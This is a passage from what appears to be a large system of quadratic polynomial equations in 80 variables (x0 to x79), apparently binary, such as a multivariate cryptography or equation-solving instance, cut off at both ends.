x31*x34 + x31*x37 + x31*x40 + x31*x42 + x31*x46 + x31*x47 + x31*x48 + x31*x49 + x31*x53 + x31*x54 + x31*x55 + x31*x57 + x31*x62 + x31*x65 + x31*x68 + x31*x70 + x31*x72 + x31*x76 + x31*x77 + x31*x78 + x31 + x32*x42 + x32*x45 + x32*x47 + x32*x48 + x32*x49 + x32*x50 + x32*x51 + x32*x53 + x32*x54 + x32*x56 + x32*x57 + x32*x61 + x32*x63 + x32*x64 + x32*x69 + x32*x70 + x32*x72 + x32*x75 + x32*x76 + x32*x77 + x32*x79 + x33*x35 + x33*x36 + x33*x38 + x33*x39 + x33*x40 + x33*x48 + x33*x51 + x33*x52 + x33*x53 + x33*x54 + x33*x55 + x33*x59 + x33*x61 + x33*x63 + x33*x64 + x33*x66 + x33*x68 + x33*x69 + x33*x71 + x33*x72 + x33*x74 + x33*x76 + x33*x77 + x33*x78 + x33*x79 + x34*x37 + x34*x42 + x34*x44 + x34*x46 + x34*x47 + x34*x48 + x34*x49 + x34*x50 + x34*x51 + x34*x52 + x34*x53 + x34*x55 + x34*x64 + x34*x67 + x34*x69 + x34*x70 + x34*x73 + x34*x75 + x34*x78 + x34 + x35*x37 + x35*x39 + x35*x41 + x35*x42 + x35*x45 + x35*x47 + x35*x48 + x35*x49 + x35*x50 + x35*x55 + x35*x56 + x35*x57 + x35*x59 + x35*x60 + x35*x61 + x35*x62 + x35*x65 + x35*x67 + x35*x70 + x35*x75 + x35*x77 + x35*x78 + x36*x38 + x36*x39 + x36*x41 + x36*x45 + x36*x46 + x36*x49 + x36*x51 + x36*x54 + x36*x57 + x36*x59 + x36*x60 + x36*x62 + x36*x63 + x36*x64 + x36*x65 + x36*x67 + x36*x68 + x36*x70 + x36*x73 + x36*x75 + x36*x76 + x36*x78 + x36 + x37*x40 + x37*x41 + x37*x45 + x37*x46 + x37*x47 + x37*x52 + x37*x53 + x37*x54 + x37*x58 + x37*x60 + x37*x66 + x37*x67 + x37*x68 + x37*x70 + x37*x76 + x37*x77 + x37 + x38*x39 + x38*x42 + x38*x46 + x38*x47 + x38*x49 + x38*x51 + x38*x52 + x38*x54 + x38*x55 + x38*x56 + x38*x58 + x38*x59 + x38*x60 + x38*x63 + x38*x64 + x38*x65 + x38*x66 + x38*x67 + x38*x68 + x38*x69 + x38*x72 + x38*x73 + x38*x77 + x39*x41 + x39*x43 + x39*x44 + x39*x46 + x39*x47 + x39*x51 + x39*x52 + x39*x57 + x39*x58 + x39*x61 + x39*x68 + x39*x71 + x39*x72 + x39*x74 + x39*x75 + x39*x79 + x39 + x40*x42 + x40*x43 + x40*x44 + x40*x45 + x40*x48 + x40*x51 + x40*x52 + x40*x53 + x40*x60 + x40*x61 + x40*x62 + x40*x63 + x40*x65 + x40*x66 + x40*x67 + x40*x68 + x40*x69 + x40*x70 + x40*x72 + x40*x75 + x40*x76 + x40*x78 + x40*x79 + x40 + x41*x42 + x41*x46 + x41*x47 + x41*x50 + x41*x51 + x41*x52 + x41*x53 + x41*x58 + x41*x64 + x41*x66 + x41*x67 + x41*x69 + x41*x74 + x41*x78 + x42*x43 + x42*x46 + x42*x47 + x42*x48 + x42*x49 + x42*x50 + x42*x51 + x42*x52 + x42*x58 + x42*x59 + x42*x64 + x42*x68 + x42*x69 + x42*x71 + x42*x73 + x42*x74 + x42*x77 + x42*x79 + x43*x44 + x43*x49 + x43*x52 + x43*x53 + x43*x54 + x43*x55 + x43*x56 + x43*x60 + x43*x65 + x43*x66 + x43*x67 + x43*x68 + x43*x72 + x43*x76 + x43*x77 + x43*x78 + x43*x79 + x43 + x44*x47 + x44*x48 + x44*x50 + x44*x51 + x44*x53 + x44*x55 + x44*x59 + x44*x60 + x44*x61 + x44*x63 + x44*x64 + x44*x66 + x44*x68 + x44*x69 + x44*x70 + x44*x71 + x44*x76 + x44*x78 + x45*x47 + x45*x49 + x45*x50 + x45*x51 + x45*x52 + x45*x55 + x45*x61 + x45*x62 + x45*x63 + x45*x65 + x45*x67 + x45*x68 + x45*x71 + x45*x76 + x45*x77 + x46*x47 + x46*x50 + x46*x52 + x46*x54 + x46*x55 + x46*x56 + x46*x58 + x46*x61 + x46*x63 + x46*x64 + x46*x65 + x46*x66 + x46*x67 + x46*x68 + x46*x74 + x46*x76 + x46 + x47*x51 + x47*x56 + x47*x58 + x47*x59 + x47*x61 + x47*x62 + x47*x63 + x47*x66 + x47*x67 + x47*x70 + x47*x73 + x47*x75 + x47*x77 + x47*x78 + x47 + x48*x49 + x48*x50 + x48*x51 + x48*x54 + x48*x55 + x48*x58 + x48*x59 + x48*x60 + x48*x61 + x48*x63 + x48*x64 + x48*x65 + x48*x66 + x48*x69 + x48*x74 + x48*x75 + x48*x78 + x48 + x49*x50 + x49*x52 + x49*x56 + x49*x57 + x49*x59 + x49*x60 + x49*x64 + x49*x65 + x49*x66 + x49*x67 + x49*x68 + x49*x70 + x49*x71 + x49*x72 + x49*x73 + x49*x75 + x49*x78 + x49*x79 + x49 + x50*x51 + x50*x54 + x50*x56 + x50*x58 + x50*x60 + x50*x63 + x50*x65 + x50*x66 + x50*x69 + x50*x70 + x50*x71 + x50*x74 + x50*x77 + x50*x78 + x50*x79 + x51*x52 + x51*x53 + x51*x55 + x51*x56 + x51*x59 + x51*x60 + x51*x63 + x51*x64 + x51*x65 + x51*x66 + x51*x67 + x51*x68 + x51*x70 + x51*x71 + x51*x72 + x51*x74 + x51*x76 + x51*x77 + x51*x78 + x52*x58 + x52*x60 + x52*x65 + x52*x70 + x52*x71 + x52*x74 + x52*x77 + x52*x78 + x53*x54 + x53*x56 + x53*x63 + x53*x67 + x53*x70 + x53*x72 + x53*x74 + x54*x55 + x54*x56 + x54*x58 + x54*x62 + x54*x65 + x54*x66 + x54*x69 + x54*x72 + x54*x73 + x54*x76 + x54*x77 + x55*x57 + x55*x58 + x55*x59 + x55*x60 + x55*x62 + x55*x64 + x55*x68 + x55*x72 + x55*x73 + x55*x74 + x55*x75 + x55*x76 + x55*x77 + x55*x79 + x56*x57 + x56*x61 + x56*x65 + x56*x66 + x56*x67 + x56*x70 + x56*x76 + x56*x77 + x56*x78 + x56*x79 + x57*x58 + x57*x60 + x57*x66 + x57*x67 + x57*x69 + x57*x71 + x57*x74 + x57*x76 + x57*x77 + x57*x78 + x57 + x58*x59 + x58*x60 + x58*x61 + x58*x64 + x58*x72 + x58*x74 + x58*x75 + x58*x78 + x58 + x59*x60 + x59*x62 + x59*x64 + x59*x65 + x59*x68 + x59*x69 + x59*x70 + x59*x71 + x59*x72 + x59*x74 + x59*x75 + x59*x76 + x59*x77 + x59*x79 + x59 + x60*x61 + x60*x69 + x60*x70 + x60*x72 + x60*x73 + x60*x74 + x60*x75 + x60*x76 + x60*x77 + x60*x78 + x60 + x61*x62 + x61*x63 + x61*x67 + x61*x68 + x61*x70 + x61*x71 + x61*x73 + x61*x74 + x61*x75 + x61*x76 + x61*x77 + x61*x79 + x62*x63 + x62*x64 + x62*x66 + x62*x67 + x62*x70 + x62*x74 + x62*x79 + x63*x65 + x63*x66 + x63*x68 + x63*x69 + x63*x72 + x63*x75 + x63*x77 + x63*x79 + x64*x65 + x64*x66 + x64*x69 + x64*x70 + x64*x73 + x64*x76 + x64*x77 + x64*x78 + x64*x79 + x64 + x65*x66 + x65*x67 + x65*x68 + x65*x69 + x65*x70 + x65*x71 + x65*x73 + x65*x74 + x65*x79 + x65 + x66*x67 + x66*x70 + x66*x75 + x66*x76 + x66*x77 + x67*x68 + x67*x74 + x67*x76 + x67*x79 + x67 + x68*x69 + x68*x72 + x68*x73 + x68*x75 + x68*x76 + x68*x78 + x68*x79 + x68 + x69*x72 + x69*x73 + x69*x74 + x69*x75 + x69*x76 + x69*x77 + x69*x78 + x69*x79 + x71*x72 + x71*x73 + x71*x77 + x71*x78 + x71*x79 + x72*x73 + x72*x76 + x73*x75 + x73*x77 + x73*x78 + x73*x79 + x73 + x74*x78 + x74*x79 + x74 + x75*x77 + x75 + x76*x78 + x76 + x77*x78 + x77*x79 + x79 + 1, x0*x2 + x0*x3 + x0*x4 + x0*x5 + x0*x6 + x0*x7 + x0*x8 + x0*x10 + x0*x18 + x0*x26 + x0*x29 + x0*x30 + x0*x32 + x0*x34 + x0*x35 + x0*x36 + x0*x37 + x0*x42 + x0*x43 + x0*x46 + x0*x47 + x0*x49 + x0*x50 + x0*x52 + x0*x56 + x0*x58 + x0*x60 + x0*x62 + x0*x63 + x0*x64 + x0*x66 + x0*x72 + x0*x73 + x0*x78 + x0*x79 + x1*x3 + x1*x5 + x1*x10 + x1*x12 + x1*x13 + x1*x14 + x1*x15 + x1*x16 + x1*x20 + x1*x21 + x1*x24 + x1*x25 + x1*x26 + x1*x28 + x1*x29 + x1*x30 + x1*x31 + x1*x32 + x1*x33 + x1*x34 + x1*x37 + x1*x44 + x1*x46 + x1*x47 + x1*x49 + x1*x51 + x1*x52 + x1*x54 + x1*x55 + x1*x56 + x1*x57 + x1*x58 + x1*x61 + x1*x62 + x1*x63 + x1*x64 + x1*x65 + x1*x68 + x1*x75 + x1*x77 + x1*x78 + x2*x3 + x2*x9 + x2*x10 + x2*x15 + x2*x16 + x2*x19 + x2*x20 + x2*x22 + x2*x23 + x2*x27 + x2*x28 + x2*x32 + x2*x37 + x2*x39 + x2*x43 + x2*x44 + x2*x48 + x2*x50 + x2*x51 + x2*x52 + x2*x55 + x2*x56 + x2*x58 + x2*x60 + x2*x61 + x2*x64 + x2*x66 + x2*x67 + x2*x72 + x2*x73 + x2*x74 + x2*x75 + x2*x76 + x2 + x3*x4 + x3*x7 + x3*x8 + x3*x11 + x3*x12 + x3*x13 + x3*x14 + x3*x17 + x3*x18 + x3*x20 + x3*x23 + x3*x24 + x3*x25 + x3*x26 + x3*x27 + x3*x28 + x3*x30 + x3*x31 + x3*x32 + x3*x35 + x3*x39 + x3*x41 + x3*x42 + x3*x46 + x3*x48 + x3*x49 + x3*x50 + x3*x51 + x3*x54 + x3*x56 + x3*x60 + x3*x61 + x3*x62 + x3*x64 + x3*x65 + x3*x68 + x3*x70 + x3*x71 + x3*x72 + x3*x74 + x3*x75 + x3*x79 + x3 + x4*x7 + x4*x8 + x4*x9 + x4*x10 + x4*x14 + x4*x15 + x4*x16 + x4*x18 + x4*x19 + x4*x20 + x4*x21 + x4*x24 + x4*x26 + x4*x27 + x4*x28 + x4*x32 + x4*x33 + x4*x37 + x4*x38 + x4*x40 + x4*x48 + x4*x51 + x4*x52 + x4*x55 + x4*x56 + x4*x58 + x4*x60 + x4*x63 + x4*x64 + x4*x68 + x4*x72 + x4*x74 + x4*x78 + x4 + x5*x8 + x5*x9 + x5*x11 + x5*x13 + x5*x15 + x5*x16 + x5*x17 + x5*x18 + x5*x20 + x5*x21 + x5*x23 + x5*x24 + x5*x25 + x5*x26 + x5*x27 + x5*x28 + x5*x31 + x5*x34 + x5*x36 + x5*x42 + x5*x43 + x5*x44 + x5*x46 + x5*x47 + x5*x50 + x5*x51 + x5*x58 + x5*x59 + x5*x60 + x5*x62 + x5*x63 + x5*x64 + x5*x65 + x5*x68 + x5*x69 + x5*x72 + x5*x74 + x5 + x6*x8 + x6*x9 + x6*x10 + x6*x11 + x6*x12 + x6*x15 + x6*x16 + x6*x17 + x6*x19 + x6*x20 + x6*x21 + x6*x23 + x6*x26 + x6*x27 + x6*x31 + x6*x32 + x6*x33 + x6*x34 + x6*x35 + x6*x39 + x6*x40 + x6*x41 + x6*x42 + x6*x43 + x6*x45 + x6*x50 + x6*x53 + x6*x54 + x6*x56 + x6*x57 + x6*x59 + x6*x62 + x6*x64 + x6*x65 + x6*x66 + x6*x67 + x6*x68 + x6*x69 + x6*x70 + x6*x71 + x6*x73 + x6*x77 + x6 + x7*x8 + x7*x10 + x7*x11 + x7*x12 + x7*x18 + x7*x19 + x7*x22 + x7*x23 + x7*x24 + x7*x26 + x7*x28 + x7*x30 + x7*x33 + x7*x35 + x7*x37 + x7*x41 + x7*x43 + x7*x45 + x7*x47 + x7*x48 + x7*x49 + x7*x50 + x7*x51 + x7*x52 + x7*x54 + x7*x55 + x7*x56 + x7*x57 + x7*x60 + x7*x63 + x7*x65 + x7*x68 + x7*x73 + x7*x75 + x7*x77 + x7*x78 + x7 + x8*x9 + x8*x10 + x8*x11 + x8*x13 + x8*x14 + x8*x18 + x8*x20 + x8*x21 + x8*x22 + x8*x25 + x8*x26 + x8*x29 + x8*x32 + x8*x34 + x8*x35 + x8*x39 + x8*x41 + x8*x42 + x8*x44 + x8*x45 + x8*x46 + x8*x50 + x8*x51 + x8*x53 + x8*x56 + x8*x57 + x8*x58 + x8*x61 + x8*x63 + x8*x65 + x8*x66 + x8*x69 + x8*x70 + x8*x71 + x8*x72 + x8*x75 + x8*x77 + x8*x79 + x8 + x9*x10 + x9*x13 + x9*x16 + x9*x20 + x9*x23 + x9*x24 + x9*x28 + x9*x31 + x9*x34 + x9*x35 + x9*x36 + x9*x37 + x9*x38 + x9*x39 + x9*x41 + x9*x42 + x9*x44 + x9*x45 + x9*x46 + x9*x51 + x9*x52 + x9*x54 + x9*x56 + x9*x57 + x9*x60 + x9*x61 + x9*x62 + x9*x66 + x9*x69 + x9*x70 + x9*x72 + x9*x73 + x9*x75 + x9*x76 + x9*x77 + x9*x78 + x9 + x10*x12 + x10*x13 + x10*x14 + x10*x15 + x10*x16 + x10*x19 + x10*x22 + x10*x26 + x10*x27 + x10*x28 + x10*x30 + x10*x32 + x10*x34 + x10*x35 + x10*x37 + x10*x38 + x10*x42 + x10*x44 + x10*x47 + x10*x48 + x10*x49 + x10*x53 + x10*x54 + x10*x55 + x10*x56 + x10*x57 + x10*x60 + x10*x62 + x10*x63 + x10*x64 + x10*x65 + x10*x66 + x10*x68 + x10*x70 + x10*x72 + x10*x73 + x10*x74 + x10*x79 + x11*x13 + x11*x14 + x11*x15 + x11*x17 + x11*x18 + x11*x27 + x11*x28 + x11*x34 + x11*x36 + x11*x37 + x11*x38 + x11*x39 + x11*x40 + x11*x41 + x11*x42 + x11*x48 + x11*x49 + x11*x51 + x11*x52 + x11*x53 + x11*x54 + x11*x56 + x11*x58 + x11*x60 + x11*x61 + x11*x63 + x11*x67 + x11*x68 + x11*x69 + x11*x72 + x11*x75 + x11*x78 + x11 + x12*x13 + x12*x14 + x12*x15 + x12*x18 + x12*x20 + x12*x22 + x12*x23 + x12*x24 + x12*x25 + x12*x26 + x12*x30 + x12*x33 + x12*x34 + x12*x36 + x12*x37 + x12*x39 + x12*x40 + x12*x41 + x12*x42 + x12*x43 + x12*x44 + x12*x45 + x12*x51 + x12*x52 + x12*x54 + x12*x55 + x12*x57 + x12*x59 + x12*x60 + x12*x62 + x12*x63 + x12*x64 + x12*x65 + x12*x66 + x12*x67 + x12*x69 + x12*x71 + x12*x74 + x12*x75 + x12*x76 + x12*x77 + x12*x78 + x12 + x13*x18 + x13*x19 + x13*x20 + x13*x22 + x13*x23 + x13*x25 + x13*x28 + x13*x29 + x13*x30 + x13*x32 + x13*x33 + x13*x34 + x13*x35 + x13*x37 + x13*x39 + x13*x40 + x13*x41 + x13*x43 + x13*x44 + x13*x46 + x13*x48 + x13*x49 + x13*x51 + x13*x53 + x13*x54 + x13*x56 + x13*x58 + x13*x59 + x13*x60 + x13*x62 + x13*x68 + x13*x73 + x13*x74 + x13*x75 + x13*x76 + x13*x77 + x14*x15 + x14*x16 + x14*x17 + x14*x18 + x14*x21 + x14*x24 + x14*x25 + x14*x29 + x14*x30 + x14*x36 + x14*x39 + x14*x42 + x14*x43 + x14*x45 + x14*x48 + x14*x49 + x14*x55 + x14*x56 + x14*x59 + x14*x60 + x14*x65 + x14*x66 + x14*x68 + x14*x70 + x14*x72 + x14*x73 + x14*x74 + x14*x77 + x14 + x15*x19 + x15*x21 + x15*x25 + x15*x26 + x15*x27 + x15*x28 + x15*x31 + x15*x32 + x15*x33 + x15*x34 + x15*x35 + x15*x37 + x15*x38 + x15*x39 + x15*x40 + x15*x41 + x15*x42 + x15*x50 + x15*x52 + x15*x53 + x15*x54 + x15*x56 + x15*x57 + x15*x58 + x15*x59 + x15*x60 + x15*x61 + x15*x62 + x15*x63 + x15*x65 + x15*x66 + x15*x67 + x15*x69 + x15*x71 + x15*x74 + x15*x76 + x15*x79 + x15 + x16*x17 + x16*x23 + x16*x25 + x16*x27 + x16*x28 + x16*x33 + x16*x36 + x16*x39 + x16*x40 + x16*x44 + x16*x46 + x16*x51 + x16*x57 + x16*x62 + x16*x65 + x16*x67 + x16*x68 + x16*x69 + x16*x73 + x16*x75 + x16*x76 + x16 + x17*x22 + x17*x23 + x17*x25 + x17*x27 + x17*x30 + x17*x31 + x17*x32 + x17*x35 + x17*x36 + x17*x39 + x17*x40 + x17*x41 + x17*x42 + x17*x43 + x17*x44 + x17*x46 + x17*x48 + x17*x50 + x17*x52 + x17*x57 + x17*x59 + x17*x60 + x17*x63 + x17*x64 + x17*x65 + x17*x66 + x17*x67 + x17*x68 + x17*x69 + x17*x70 + x17*x72 + x17*x73 + x17*x78 + x17*x79 + x18*x19 + x18*x20 + x18*x21 + x18*x22 + x18*x23 + x18*x24 + x18*x25 + x18*x27 + x18*x29 + x18*x30 + x18*x31 + x18*x32 + x18*x33 + x18*x35 + x18*x38 + x18*x40 + x18*x41 + x18*x45 + x18*x47 + x18*x49 + x18*x52 + x18*x54 + x18*x55 + x18*x59 + x18*x60 + x18*x62 + x18*x64 + x18*x65 + x18*x66 + x18*x67 + x18*x68 + x18*x71 + x18*x75 + x19*x21 + x19*x22 + x19*x23 + x19*x25 + x19*x26 + x19*x30 + x19*x32 + x19*x34 + x19*x36 + x19*x37 + x19*x38 + x19*x39 + x19*x40 + x19*x41 + x19*x47 + x19*x50 + x19*x51 + x19*x56 + x19*x61 + x19*x70 + x19*x72 + x19*x73 + x19*x74 + x19*x77 + x19 + x20*x21 + x20*x22 + x20*x24 + x20*x26 + x20*x28 + x20*x29 + x20*x32 + x20*x33 + x20*x34 + x20*x36 + x20*x37 + x20*x38 + x20*x39 + x20*x41 + x20*x42 + x20*x43 + x20*x46 + x20*x47 + x20*x49 + x20*x51 + x20*x53 + x20*x58 + x20*x60 + x20*x61 + x20*x62 + x20*x64 + x20*x67 + x20*x68 + x20*x69 + x20*x76 + x20*x78 + x20 + x21*x22 + x21*x25 + x21*x26 + x21*x27 + x21*x28 + x21*x31 + x21*x32 + x21*x33 + x21*x34 + x21*x37 + x21*x40 + x21*x42 + x21*x44 + x21*x47 + x21*x49 + x21*x52 + x21*x53 + x21*x54 + x21*x55 + x21*x59 + x21*x61 + x21*x68 + x21*x69 + x21*x70 + x21*x72 + x21*x77 + x21*x78 + x21 + x22*x24 + x22*x27 + x22*x28 + x22*x31 + x22*x32 + x22*x34 + x22*x36 + x22*x37 + x22*x41 + x22*x42 + x22*x43 + x22*x45 + x22*x47 + x22*x49 + x22*x50 + x22*x51 + x22*x52 + x22*x53 + x22*x54 + x22*x55 + x22*x56 + x22*x58 + x22*x59 + x22*x63 + x22*x68 + x22*x74 + x22*x77 + x22 + x23*x25 + x23*x26 + x23*x28 + x23*x31 + x23*x33 + x23*x35 + x23*x36 + x23*x37 + x23*x43 + x23*x46 + x23*x47 + x23*x48 + x23*x55 + x23*x56 + x23*x57 + x23*x58 + x23*x59 + x23*x62 + x23*x65 + x23*x68 + x23*x69 + x23*x71 + x23*x73 + x23*x75 + x23*x77 + x23*x79 + x23 + x24*x26 + x24*x27 + x24*x28 + x24*x30 + x24*x31 + x24*x32 + x24*x34 + x24*x35 + x24*x36 + x24*x40 + x24*x41 + x24*x42 + x24*x44 + x24*x45 + x24*x47 + x24*x50 + x24*x53 + x24*x58 + x24*x59 + x24*x60 + x24*x64 + x24*x66 + x24*x68 + x24*x69 + x24*x70 + x24*x71 + x24*x73 + x24*x74 + x24*x77 + x24*x79 + x25*x26 + x25*x27 + x25*x29 + x25*x32 + x25*x33 + x25*x35 + x25*x38 + x25*x39 + x25*x41 + x25*x43 + x25*x44 + x25*x45 + x25*x46 + x25*x48 + x25*x49 + x25*x51 + x25*x52 + x25*x54 + x25*x56 + x25*x57 + x25*x58 + x25*x60 + x25*x61 + x25*x62 + x25*x64 + x25*x67 + x25*x68 + x25*x70 + x25*x72 + x25*x73 + x25*x74 + x25 + x26*x27 + x26*x32 + x26*x37 + x26*x38 + x26*x40 + x26*x41 + x26*x44 + x26*x45 + x26*x47 + x26*x48 + x26*x50 + x26*x51 + x26*x52 + x26*x53 + x26*x56 + x26*x57 + x26*x60 + x26*x61 + x26*x63 + x26*x68 + x26*x70 + x26*x72 + x26*x73 + x26*x74 + x26*x75 + x26*x77 + x26*x79 + x27*x28 + x27*x30 + x27*x31 + x27*x34 + x27*x43 + x27*x44 + x27*x46 + x27*x48 + x27*x52 + x27*x53 + x27*x54 + x27*x56 + x27*x59 + x27*x62 + x27*x65 + x27*x66 + x27*x67 + x27*x68 + x27*x69 + x27*x70 + x27*x71 + x27*x73 + x27*x78 + x28*x30 + x28*x31 + x28*x32 + x28*x34 + x28*x38 + x28*x39 + x28*x40 + x28*x42 + x28*x44 + x28*x45 + x28*x46 + x28*x47 + x28*x48 + x28*x52 + x28*x53 + x28*x54 + x28*x56 + x28*x57 + x28*x62 + x28*x63 + x28*x64 + x28*x66 + x28*x67 + x28*x69 + x28*x71 + x28*x74 + x28*x76 + x29*x30 + x29*x34 + x29*x36 + x29*x37 + x29*x39 + x29*x41 + x29*x42 + x29*x43 + x29*x45 + x29*x46 + x29*x49 + x29*x53 + x29*x56 + x29*x57 + x29*x58 + x29*x60 + x29*x62 + x29*x63 + x29*x68 + x29*x70 + x29*x71 + x29*x76 + x29*x77 + x30*x34 + x30*x38 + x30*x39 + x30*x43 + x30*x44 + x30*x45 + x30*x46 + x30*x48 + x30*x52 + x30*x53 + x30*x54 + x30*x55 + x30*x56 + x30*x59 + x30*x62 + x30*x63 + x30*x64 + x30*x65 + x30*x68 + x30*x69 + x30*x71 + x30*x72 + x30*x76 + x30*x78 + x31*x33 + x31*x37 + x31*x38 + x31*x40 + x31*x41 + x31*x43 + x31*x46 + x31*x50 + x31*x51 + x31*x52 + x31*x53 + x31*x55 + x31*x56 + x31*x57 + x31*x59 + x31*x62 + x31*x65 + x31*x66 + x31*x67 + x31*x69 + x31*x70 + x31*x71 + x31*x72 + x31*x76 + x31*x78 + x31*x79 + x32*x33 + x32*x35 + x32*x37 + x32*x38 + x32*x41 + x32*x42 + x32*x43 + x32*x45 + x32*x46 + x32*x47 + x32*x49 + x32*x51 + x32*x57 + x32*x59 + x32*x60 + x32*x61 + x32*x64 + x32*x69 + x32*x71 + x32*x73 + x32*x76 + x32*x77 + x32*x78 + x33*x35 + x33*x36 + x33*x37 + x33*x38 + x33*x39 + x33*x40 + x33*x41 + x33*x43 + x33*x45 + x33*x46 + x33*x51 + x33*x53 + x33*x54 + x33*x57 + x33*x58 + x33*x59 + x33*x60 + x33*x63 + x33*x65 + x33*x68 + x33*x70 + x33*x73 + x33*x74 + x33*x79 + x33 + x34*x42 + x34*x43 + x34*x44 + x34*x45 + x34*x46 + x34*x48 + x34*x49 + x34*x51 + x34*x52 + x34*x53 + x34*x54 + x34*x55 + x34*x56 + x34*x57 + x34*x58 + x34*x63 + x34*x64 + x34*x65 + x34*x67 + x34*x68 + x34*x69 + x34*x71 + x34*x72 + x34*x79 + x35*x43 + x35*x44 + x35*x46 + x35*x47 + x35*x48 + x35*x51 + x35*x52 + x35*x53 + x35*x54 + x35*x55 + x35*x58 + x35*x60 + x35*x62 + x35*x65 + x35*x67 + x35*x70 + x35*x72 + x35*x73 + x35*x75 + x35*x76 + x35 + x36*x37 + x36*x39 + x36*x40 + x36*x41 + x36*x42 + x36*x45 + x36*x49 + x36*x50 + x36*x52 + x36*x56 + x36*x58 + x36*x60 + x36*x63 + x36*x64 + x36*x66 + x36*x68 + x36*x73 + x36*x75 + x36*x76 + x36*x77 + x37*x38 + x37*x39 + x37*x40 + x37*x42 + x37*x44 + x37*x46 + x37*x48 + x37*x49 + x37*x51 + x37*x52 + x37*x54 + x37*x55 + x37*x56 + x37*x58 + x37*x60 + x37*x62 + x37*x63 + x37*x64 + x37*x67 + x37*x68 + x37*x69 + x37*x70 + x37*x71 + x37*x72 + x37*x73 + x37*x74 + x37*x75 + x37*x76 + x37*x78 + x37*x79 + x37 + x38*x39 + x38*x41 + x38*x42 + x38*x43 + x38*x44 + x38*x45 + x38*x46 + x38*x47 + x38*x48 + x38*x49 + x38*x52 + x38*x53 + x38*x55 + x38*x56 + x38*x57 + x38*x58 + x38*x62 + x38*x66 + x38*x67 + x38*x68 + x38*x70 + x38*x74 + x38*x77 + x38*x79 + x38 + x39*x41 + x39*x46 + x39*x49 + x39*x50 + x39*x53 + x39*x54 + x39*x55 + x39*x56 + x39*x57 + x39*x58 + x39*x61 + x39*x63 + x39*x65 + x39*x66 + x39*x67 + x39*x68 + x39*x69 + x39*x70 + x39*x71 + x39*x73 + x39*x75 + x39 + x40*x42 + x40*x46 + x40*x47 + x40*x49 + x40*x50 + x40*x51 + x40*x54 + x40*x56 + x40*x57 + x40*x60 + x40*x61 + x40*x62 + x40*x67 + x40*x70 + x40*x71 + x40*x72 + x40*x76 + x40*x79 + x40 + x41*x42 + x41*x43 + x41*x44 + x41*x45 + x41*x47 + x41*x48 + x41*x50 + x41*x54 + x41*x55 + x41*x56 + x41*x58 + x41*x59 + x41*x64 + x41*x66 + x41*x67 + x41*x68 + x41*x72 + x41*x73 + x41*x74 + x41*x75 + x41*x76 + x41*x77 + x41*x78 + x41*x79 + x41 + x42*x44 + x42*x48 + x42*x51 + x42*x52 + x42*x53 + x42*x54 + x42*x55 + x42*x56 + x42*x57 + x42*x58 + x42*x59 + x42*x60 + x42*x62 + x42*x65 + x42*x66 + x42*x67 + x42*x68 + x42*x70 + x42*x72 + x42*x75 + x42*x76 + x42*x77 + x42*x78 + x42 + x43*x44 + x43*x45 + x43*x47 + x43*x50 + x43*x51 + x43*x56 + x43*x58 + x43*x59 + x43*x60 + x43*x63 + x43*x65 + x43*x71 + x43*x75 + x43*x77 + x43*x78 + x43*x79 + x44*x45 + x44*x46 + x44*x47 + x44*x48 + x44*x49 + x44*x56 + x44*x57 + x44*x58 + x44*x59 + x44*x60 + x44*x61 + x44*x65 + x44*x67 + x44*x68 + x44*x71 + x44*x73 + x44*x75 + x44*x77 + x44*x78 + x45*x48 + x45*x49 + x45*x50 + x45*x52 + x45*x54 + x45*x57 + x45*x64 + x45*x67 + x45*x68 + x45*x71 + x45*x73 + x45*x76 + x45*x77 + x46*x47 + x46*x48 + x46*x49 + x46*x52 + x46*x53 + x46*x55 + x46*x57 + x46*x58 + x46*x60 + x46*x61 + x46*x64 + x46*x65 + x46*x71 + x46*x72 + x46*x73 + x46*x74 + x46*x76 + x46*x77 + x46 + x47*x48 + x47*x49 + x47*x60 + x47*x61 + x47*x62 + x47*x63 + x47*x66 + x47*x68 + x47*x72 + x47*x73 + x47*x76 + x47*x77 + x47*x79 + x48*x49 + x48*x50 + x48*x52 + x48*x54 + x48*x55 + x48*x56 + x48*x63 + x48*x64 + x48*x65 + x48*x66 + x48*x67 + x48*x70 + x48*x72 + x48*x74 + x48*x75 + x48*x77 + x48*x79 + x49*x50 + x49*x54 + x49*x55 + x49*x56 + x49*x58 + x49*x60 + x49*x61 + x49*x65 + x49*x66 + x49*x67 + x49*x70 + x49*x72 + x49*x74 + x49*x75 + x49*x79 + x49 + x50*x53 + x50*x55 + x50*x56 + x50*x58 + x50*x59 + x50*x65 + x50*x67 + x50*x68 + x50*x71 + x50*x73 + x50*x75 + x50 + x51*x53 + x51*x54 + x51*x55 + x51*x56 + x51*x58 + x51*x59 + x51*x60 + x51*x61 + x51*x67 + x51*x69 + x51*x71 + x51*x72 + x51*x74 + x51*x75 + x51*x76 + x51*x77 + x51*x78 + x51*x79 + x52*x53 + x52*x55 + x52*x60 + x52*x61 + x52*x63 + x52*x64 + x52*x65 + x52*x66 + x52*x67 + x52*x69 + x52*x70 + x52*x72 + x52*x74 + x52*x77 + x52*x78 + x52*x79 + x52 + x53*x54 + x53*x57 + x53*x60 + x53*x63 + x53*x66 + x53*x70 + x53*x73 + x53*x76 + x53*x78 + x53*x79 + x54*x55 + x54*x56 + x54*x57 + x54*x62 + x54*x64 + x54*x65 + x54*x66 + x54*x67 + x54*x68 + x54*x70 + x54*x71 + x54*x73 + x54*x75 + x54*x77 + x55*x61 + x55*x67 + x55*x68 + x55*x71 + x55*x72 + x55*x74 + x55*x75 + x55*x76 + x55*x78 + x55*x79 + x55 + x56*x57 + x56*x58 + x56*x59 + x56*x60 + x56*x69 + x56*x70 + x56*x71 + x56*x75 + x56*x79 + x56 + x57*x58 + x57*x59 + x57*x61 + x57*x62 + x57*x65 + x57*x66 + x57*x67 + x57*x68 + x57*x69 + x57*x71 + x57*x72 + x57*x75 + x57*x77 + x57*x78 + x58*x59 + x58*x63 + x58*x64 + x58*x65 + x58*x69 + x58*x70 + x58*x71 + x58*x74 + x58*x75 + x58*x76 + x58*x77 + x58*x79 + x58 + x59*x64 + x59*x65 + x59*x66 + x59*x67 + x59*x68 + x59*x74 + x59*x75 + x59*x77 + x59*x79 + x60*x62 + x60*x64 + x60*x65 + x60*x66 + x60*x67 + x60*x68 + x60*x69 + x60*x74 + x60*x78 + x60*x79 + x60 + x61*x62 + x61*x64 + x61*x67 + x61*x68 + x61*x70 + x61*x72 + x61*x74 + x61*x75 + x61*x76 + x61*x77 + x61*x78 + x61*x79 + x62*x63 + x62*x64 + x62*x65 + x62*x66 + x62*x68 + x62*x71 + x62*x75 + x62*x76 + x62*x78 + x63*x64 + x63*x67 + x63*x68 + x63*x71 + x63*x72 + x63*x74 + 